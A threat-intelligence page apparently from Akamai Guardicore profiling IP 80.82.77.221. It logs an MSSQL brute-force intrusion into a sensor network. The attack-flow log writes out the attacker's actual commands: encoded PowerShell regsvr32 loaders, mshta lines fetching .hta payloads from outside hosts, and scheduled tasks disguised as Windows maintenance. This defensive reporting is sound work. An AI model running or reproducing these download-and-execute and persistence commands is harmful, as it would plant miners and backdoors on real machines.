Cyber Threat Intelligence

Discover malicious IPs and domains with Akamai Guardicore Segmentation

IP Address: 80.82.77.221Previously Malicious

IP Address: 80.82.77.221Previously Malicious

This IP address attempted an attack on a machine in our threat sensors network

Threat Information

Role

Attacker, Connect-Back, Scanner

Services Targeted

MSSQL

Tags

PowerShell Successful MSSQL Login CMD MSSQL

Associated Attack Servers

eu.minerpool.pw openportstats.com ovo.sc

107.180.50.222 185.10.68.147 185.199.108.133 185.199.111.133 199.232.28.133

Basic Information

IP Address

80.82.77.221

Domain

-

ISP

Incrediserve LTD

Country

Netherlands

WHOIS

Created Date

-

Updated Date

-

Organization

-

First seen in Akamai Guardicore Segmentation

2019-10-20

Last seen in Akamai Guardicore Segmentation

2021-04-23

What is Akamai Guardicore Segmentation
Akamai Guardicore Segmentation is a data center and cloud security solution that protects the organization's core assets, using flexible, quickly deployed and easy to understand micro-segmentation controls. Akamai Guardicore Segmentation generates in-context security incidents, with details on attacker tools and techniques, that help IR teams prioritize incident investigation and reduce dwell time. Learn More

Attack Flow

A user logged in using MSSQL with the following credentials: user / **** - Authentication policy: White List (Part of a Brute Force Attempt)

MSSQL Brute Force Successful MSSQL Login

A user logged in using MSSQL with the following credentials: sa / ********* - Authentication policy: White List (Part of a Brute Force Attempt)

MSSQL Brute Force Successful MSSQL Login

A user logged in using MSSQL with the following credentials: toor / **** - Authentication policy: White List (Part of a Brute Force Attempt)

MSSQL Brute Force Successful MSSQL Login

MSSQL executed 4 shell commands

Execute MsSql Shell Command

A user logged in using MSSQL with the following credentials: root / ***** - Authentication policy: White List (Part of a Brute Force Attempt)

MSSQL Brute Force Successful MSSQL Login

A user logged in using MSSQL with the following credentials: admin / ******** - Authentication policy: White List (Part of a Brute Force Attempt)

MSSQL Brute Force Successful MSSQL Login

PowerShell session started by c:\windows\system32\windowspowershell\v1.0\powershell.exe 4 times

Process c:\windows\system32\windowspowershell\v1.0\powershell.exe attempted to access suspicious domains: coasttickets.com, ctldl.windowsupdate.com and raw.githubusercontent.com 4 times

DNS Query Access Suspicious Domain Outgoing Connection

Process c:\windows\system32\windowspowershell\v1.0\powershell.exe generated outgoing network traffic to: 107.180.50.222:443, 185.10.68.147:443, 185.10.68.147:80 and 185.199.109.133:443 4 times

Outgoing Connection

The command line cmd /c powershell -nop -noni -w 1 -enc cgBlAGcAcwB2AHIAMwAyACAALwB1ACAALwBzACAALwBpADoAaAB0AHQAcAA6AC8ALwAxADgANQAuADEAMAAuADYAOAAuADEANAA3AC8AdwBpAG4ALwBwAGgAcAAvAGYAdQBuAGMALgBwAGgAcAAgAHMAYwByAG8AYgBqAC4AZABsAGwA was scheduled to run by modifying C:\Windows\System32\Tasks\Microsoft\Windows\.NET Framework\.NET Framework Cache Optimization

Process c:\windows\system32\windowspowershell\v1.0\powershell.exe attempted to access domains: apps.identrust.com 2 times

DNS Query

The command line C:\ProgramData\Oracle\Java\java.exe was scheduled to run by modifying C:\Windows\System32\Tasks\Microsoft\Windows\Bluetooth\UpdateDeviceTask

The command line C:\Windows\System32\cmd.exe /c mshta http://185.10.68.147/win/update.hta was scheduled to run by modifying C:\Windows\System32\Tasks\Microsoft\Windows\Shell\WindowsShellUpdate

The command line C:\Windows\System32\cmd.exe /c mshta http://185.10.68.147/win/checking.hta was scheduled to run by modifying C:\Windows\System32\Tasks\Microsoft\Windows\Shell\WinShell

The command line C:\Windows\System32\cmd.exe /c mshta http://qlqd5zqefmkcr34a.onion.sh/win/checking.hta was scheduled to run by modifying C:\Windows\System32\Tasks\Microsoft\Windows\UPnP\UPnPHost

The command line C:\Windows\System32\cmd.exe /c mshta https://asq.d6shiiwz.pw/win/hssl/d6.hta was scheduled to run by modifying C:\Windows\System32\Tasks\Microsoft\Windows\UPnP\UPnPClient Task

The command line C:\Windows\System32\cmd.exe /c mshta http://asq.r77vh0.pw/win/checking.hta was scheduled to run by modifying C:\Windows\System32\Tasks\Microsoft\Windows\EDP\EDP App Lock Task

The command line C:\Windows\System32\cmd.exe /c mshta https://asq.r77vh0.pw/win/hssl/r7.hta was scheduled to run by modifying C:\Windows\System32\Tasks\Microsoft\Windows\EDP\EDP App Update Cache

The command line C:\Windows\System32\cmd.exe /c mshta http://asd.s7610rir.pw/win/checking.hta was scheduled to run by modifying C:\Windows\System32\Tasks\Microsoft\Windows\.NET Framework\.NET Framework NGEN v4.0.50319 Critical

The command line C:\Windows\System32\cmd.exe /c mshta https://asd.s7610rir.pw/win/checking.hta was scheduled to run by modifying C:\Windows\System32\Tasks\Microsoft\Windows\DiskCleanup\SlientDefragDisks

The command line C:\Windows\System32\cmd.exe /c schtasks /tn \Microsoft\Windows\Bluetooth\UpdateDeviceTask /run was scheduled to run by modifying C:\Windows\System32\Tasks\Microsoft\Windows\Registry\RegBackup

The command line C:\Windows\System32\cmd.exe /c C:\Windows\Fonts\sasd.bat was scheduled to run by modifying C:\Windows\System32\Tasks\Microsoft\Windows\MobilePC\DetectPC

The file C:\ProgramData\Oracle\Java\java.exe was downloaded and executed

Download and Execute

The command line cmd /c powershell -nop -noni -w 1 -enc cgBlAGcAcwB2AHIAMwAyACAALwB1ACAALwBzACAALwBpADoAaAB0AHQAcABzADoALwAvAGEAcwBxAC4AcgA3ADcAdgBoADAALgBwAHcALwB3AGkAbgAvAHAAaABwAC8AZgB1AG4AYwAuAHAAaABwACAAcwBjAHIAbwBiAGoALgBkAGwAbAA= was scheduled to run by modifying C:\Windows\System32\Tasks\Microsoft\Windows\.NET Framework\.NET Framework Cache Optimization Files-S-3-5-21-2236678155-433529325-2142214968-1138

The command line cmd /c powershell -nop -noni -w 1 -enc cgBlAGcAcwB2AHIAMwAyACAALwB1ACAALwBzACAALwBpADoAaAB0AHQAcABzADoALwAvAGEAcwBxAC4AZAA2AHMAaABpAGkAdwB6AC4AcAB3AC8AdwBpAG4ALwBwAGgAcAAvAGYAdQBuAGMALgBwAGgAcAAgAHMAYwByAG8AYgBqAC4AZABsAGwA was scheduled to run by modifying C:\Windows\System32\Tasks\Microsoft\Windows\.NET Framework\.NET Framework Cache Optimization Files-S-3-5-21-2236678156-433529325-2142214268-1138

The command line cmd /c powershell -nop -noni -w 1 -enc cgBlAGcAcwB2AHIAMwAyACAALwB1ACAALwBzACAALwBpADoAaAB0AHQAcABzADoALwAvAGEAcwBkAC4AcwA3ADYAMQAwAHIAaQByAC4AcAB3AC8AdwBpAG4ALwBwAGgAcAAvAGYAdQBuAGMALgBwAGgAcAAgAHMAYwByAG8AYgBqAC4AZABsAGwA was scheduled to run by modifying C:\Windows\System32\Tasks\Microsoft\Windows\RamDiagnostic\Error Diagnostic

c:\windows\system32\services.exe installed cmd as a service named cli_optimization_v2.0.55727_64 under service group None

Service Creation

c:\windows\system32\services.exe installed cmd as a service named cli_optimization_v2.0.55727_32 under service group None

Service Creation

The command line C:\Windows\System32\cmd.exe /c powershell -exec bypass C:\Windows\Fonts\del.ps1 was scheduled to run by modifying C:\Windows\System32\Tasks\Microsoft\Windows\MUI\LPupdate

Process c:\programdata\oracle\java\java.exe attempted to access suspicious domains: eu.minerpool.pw

DNS Query Access Suspicious Domain

Connection was closed due to user inactivity

Process system performed bulk changes in {c:} on 99 files

Bulk Files Tampering

Process c:\windows\system32\windowspowershell\v1.0\powershell.exe performed bulk changes in {c:\users\administrator\appdata\local} on 51 files

Bulk Files Tampering

Process c:\windows\system32\windowspowershell\v1.0\powershell.exe performed bulk changes in {c:\users\administrator\appdata\local} on 50 files

Bulk Files Tampering

Process c:\windows\system32\windowspowershell\v1.0\powershell.exe performed bulk changes in {c:\users\administrator\appdata\local\microsoft\windows\powershell\commandanalysis} on 50 files

Bulk Files Tampering